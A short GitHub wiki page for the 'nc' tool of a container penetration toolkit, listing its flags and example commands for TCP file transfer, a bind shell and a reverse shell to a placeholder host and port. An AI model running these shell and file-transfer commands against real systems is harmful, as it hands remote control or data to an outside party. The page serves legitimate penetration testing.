-
Notifications
You must be signed in to change notification settings - Fork 543
Tool: nc
cdxy edited this page Nov 30, 2020
·
1 revision
还原部分linux nc命令的功能,用于传输文件以及正反向shell。
Create TCP tunnel like linux command nc
for sending file or spawn an interactive shell.
Copied from https://github.com/jiguangin/netcat
usage: netcat [-l] [-v] [-p port] [-n tcp]
options:
-e shell mode
-h string
host addr to connect or listen (default "0.0.0.0")
-help
print this help
-l listen mode
-n string
network protocol (default "tcp")
-p int
host port to connect or listen (default 4000)
-v verbose mode
Listen & Connect
listen:
cdk nc -l -v -p <port>
connect:
cdk nc -h <host> -p <port>
Send File
cdk nc -l -v -p <port> < file
cdk nc -h <host> -p <port> > file
Shell (listen)
cdk nc -l -v -p <port> -e
cdk nc -h <host> -p <port>
Shell (reverse)
cdk nc -l -v -p <port>
cdk nc -h <host> -p <port> -e